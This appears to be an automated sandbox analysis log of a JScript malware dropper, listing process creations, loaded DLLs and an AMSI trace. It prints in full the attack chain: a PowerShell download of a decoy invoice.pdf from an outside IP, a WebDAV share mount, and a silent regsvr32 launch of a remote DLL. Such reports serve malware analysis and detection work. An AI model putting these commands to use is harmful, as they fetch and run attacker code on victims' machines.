Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1524,i,14748044977518557816,13102918182558653735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9811150059212.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2284 --field-trial-handle=1524,i,14748044977518557816,13102918182558653735,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5817.js.csv");ITextStream.WriteLine(" entry:8046 f:habqx");ITextStream.WriteLine(" exec:2 f:habqx");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
